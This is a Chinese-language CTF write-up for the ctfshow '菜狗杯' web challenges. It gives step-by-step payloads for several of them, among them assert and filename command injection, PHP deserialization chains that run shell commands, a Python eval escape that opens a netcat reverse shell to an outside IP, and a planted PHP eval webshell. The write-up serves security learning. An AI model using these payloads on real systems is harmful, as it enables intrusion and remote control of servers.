ctfshow-菜狗杯-web

Muneyoshi發表於2024-05-14

菜狗杯

一言既出

開啟題目就是一個樸實無華的php程式碼

image-20240509185214693

我們分析一下:

需要傳入一個num的引數,使num==114514,後面經過intval轉化後要num==1919810,否則直接結束程序

這下就有點難辦了,但其實我們只要其實閉合一下這個assert函式,不讓這個結束的條件成立就行,payload如下

num=114514);//

image-20240509190211843

或者還有一種解法,用了%2B,這是加號+的url編碼

當我們輸入一下payload

num=114514%2B(1919810-114514)

解釋一下payload,其實在第一次判斷的時候,他的值是114514,這就完成了第一次判斷,但是當第二次判斷,在intval函式下,他會先進行運算,然後再將結果進行判斷,這就完成了payload。

駟馬難追

開啟題目和上道題一樣

image-20240509190759759

唯一不同的就是加了一層waf,比如小寫字母,分號,括號不能用,所以這道題我們不能閉合,只能借用那個url編碼,同時利用intval函式的特性去構造payload。

payload如下

num=114514%2B1919810-114514

image-20240509190931089

TapTapTap

開啟題目是一個小遊戲,這真忍不住,上去玩了一下,關鍵詞是LEVEL,這種題都是js小遊戲,我們就直接原始碼找,搜LEVEL

image-20240509191618903

功夫不負有心人,也是找到了一串可疑的base64的程式碼

image-20240509191710213

解碼得到,得知flag在這個路徑下面

image-20240509191741581

直接訪問這個檔案,成功拿到flag

image-20240509191823847

Webshell

開啟題目,是php反序列化的題

image-20240509192343963

具體來說這個流程就是

new Webshell()->__construct->__init->exec()
最後執行shell_exec($cmd) //shell_exec就是執行系統命令,一般無回顯,這裡貼心的給你回顯了

我們開啟php線上,去構造一下PHP 線上工具 | 菜鳥工具 (jyshare.com)

構造程式碼如下:

<?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'ls';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }
$a=new Webshell();
echo urlencode(serialize($a))
?>
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A2%3A%22ls%22%3B%7D

然後我們傳一下引數看看行不,發現的確可以

image-20240509192750983

注意前面程式碼,我們不能輸入flag,被過濾了,所以這裡我們使用萬用字元*****

這裡我們只用把構造程式碼中的 cmd的值更改一下

 public $cmd = 'cat f*';
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D

傳參後發現一片空白,F12看一下原始碼,的確在裡面

image-20240509193115496

化零為整

開啟題目,就是php程式碼,十分害怕

image-20240509193726521

我們分析一下程式碼

$_GET,就是接受了多少了多少個引數

if(strlen($_GET[$i])>1)這一部分就是告訴我們,我們每次只能輸入一個字元****,漢字是兩個字元

我們往後看,result這個變數會拼接我們輸入進去的引數

最後當result==“大牛”,才會輸出flag

這個時候問題就是我們如何輸入“大牛”,每次只能才能輸入一個字元,這裡我們就可以url編碼,將”大牛“編碼一下,一次輸入一個字元

image-20240509194729356

然後構造payload:

1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

image-20240509194745487

無一倖免

image-20240509212049567

這道題就是0=? //傳啥都行

payload如下

0=1

image-20240509212129163

傳說之下(霧)

是一個小遊戲,小玩一會

image-20240509212833469

應該還是js小遊戲,F12直接找,分數用的score,我們直接搜尋

image-20240509213406977

我們應該修改這個score的值,然後吃一個豆,他就更新成nowScore,我們找找這個物件名字

image-20240509213056597

找到之後,直接控制檯修改,

Game.score=3000

暫停修改過後,我們直接回到遊戲,吃一個豆,分數就夠了,得到flag

image-20240509213550261

算力超群

開啟題目就是一個計算器,我們執行一個計算,抓包看看

image-20240512091940512

當我們把number2改為非法的字串的時候

image-20240512092101819

返回的頁面如下所示:

image-20240512092254341

發現路徑為 /app/app.py

危險的函式如下:

result=eval(a + operator +b)

搜了一下,可用的方法就是 沙箱逃逸 ,emmmm,完全不懂,那就搜一下

一文看懂Python沙箱逃逸 - FreeBuf網路安全行業門戶

[PyJail] python沙箱逃逸探究·總覽(HNCTF題解) - 知乎 (zhihu.com)

直接反彈shell

_calculate?number1=1&operator=%2B&number2=1,__import__('os').system('nc 8.130.131.63 1234 -e sh')

image-20240512102700982

拿到flag

image-20240512102741712

算力升級(未做出來)

還不會,pass

easyPytHon_P

這道題是給了原始碼

image-20240512103919694

我們分析一下,我們需要傳入兩個引數 一個 cmd 一個 param,後面有個命令執行的函式,所以我們需要構造一個命令,用這兩個引數,但是 cmd 是有限制的,只能讀取三位,分析完畢,我們開始構造payload

cmd=ls&param=/

但是我們傳引數始終不對,沒有得到我們想要的結果,其實這裡又考了flask的傳參,其實不是GET傳參,而是POST

flask的傳參方式

  1. get請求
request.args.get("key") 獲取get請求引數
  1. post請求
request.form.get("key", type=str, default=None) 獲取表單資料

request.values.get("key") 獲取所有引數

所以這裡我們用hackbar POST傳參就行了

image-20240512104423666

其實flag沒在根目錄,就在當前的目錄,那我們直接就讀取了

cmd=cat&param=./flag.txt

image-20240512104614410

遍地飄零

image-20240512170143398

變數覆蓋問題CTF中的變數覆蓋問題 - My_Dreams - 部落格園 (cnblogs.com)

payload

_GET=flag

image-20240512170711120

茶歇區

考的是整數溢位,以下是常見的數值範圍

uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807 

讓我拿東西得分,我直接弄了很多,直接負數很離譜

image-20240512171234822

我繼續這樣,就flag了

image-20240512171305186

小舔田?

開啟題目就是原始碼,看的出來是反序列化

image-20240512171702884

先補充魔術方法吧

__construct()            //類的建構函式,建立物件時觸發

__destruct()             //類的解構函式,物件被銷燬時觸發

__call()                 //在物件上下文中呼叫不可訪問的方法時觸發

__callStatic()           //在靜態上下文中呼叫不可訪問的方法時觸發

__get()                  //讀取不可訪問屬性的值時,這裡的不可訪問包含私有屬性或未定義

__set()                  //在給不可訪問屬性賦值時觸發

__isset()                //當對不可訪問屬性呼叫 isset() 或 empty() 時觸發

__unset()                //在不可訪問的屬性上使用unset()時觸發

__invoke()               //當嘗試以呼叫函式的方式呼叫一個物件時觸發

__sleep()                //執行serialize()時,先會呼叫這個方法

__wakeup()               //執行unserialize()時,先會呼叫這個方法

__toString()             //當反序列化後的物件被輸出在模板中的時候(轉換成字串的時候)自動呼叫

然後我們來構造鏈子

Moon::wakeup()->Ion_Fan_Princess::tostring()->Ion_Fan_Princess::call

分析完畢,開啟php線上,開始操作、

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public function __wakeup(){
        echo "我是".$this->name."快來賞我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";
    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }
    }
    
    public function __toString(){
        $this->call();
    }
}
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));
O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D

image-20240512173233110

LSB探姬

開啟題目,我上傳了一個圖片,以為是檔案上傳,也返回了upload/1.jpg,但是訪問不到這個,所以這題不是檔案上傳題。

image-20240512174314302

然後我們翻看原始碼,看到危險的函式

image-20240512174730143

所以我們可以把檔名這裡動一些手腳,讓他去執行命令,我們上傳檔案的時候,抓一下包,改一下

payload

1.jpg;ls

image-20240512175120399

返回的響應如下

image-20240512175148868

那我們就檢視一下

1.jpg;cat flag.py

image-20240512175234481

Is_Not_Obfuscate

開啟題目,F12

image-20240514214657361

發現可以執行加密程式碼,然後有個 robots.txt ,我們訪問一下

image-20240514214737666

得到了

lib.php?flag=0

訪問一篇空白,我們flag的值改為 1,檢視原始碼,顯示如下

image-20240514214858141

接下來我們回到主介面去給加密程式碼弄一下,由於這些加密程式碼有很多符號之類的,我們先給他url編碼一下

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1%2B/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR%2Bx6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16/ewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn/GN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7/jSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9%2Bw8pT7oT

payload如下(因為前面說action值需要為test,這裡記得更改一下)

?input=eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1%2B/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR%2Bx6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16/ewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn/GN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7/jSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9%2Bw8pT7oT&action=test&output=

回顯如下

image-20240514215417901

分析一下程式碼,我們最後利用的push傳入危險程式碼,檔案會在plugins/md5(你的輸入的變數+youyou)然後pull來去執行

那我們就寫馬進入

?action=push&output=<?php eval($_GET[1]);?>youyou

然後我們MD5加密一下看一下生成的是什麼

<?php eval($_GET[1]);?>youyou
d6e1f0ec8980b49f6061227495a77a44

然後我們利用pull去執行

?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("ls /");

image-20240514221342952

然後直接檢視flag

?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("cat%20/f*");

image-20240514221437054

龍珠NFT(未做出來)

相關文章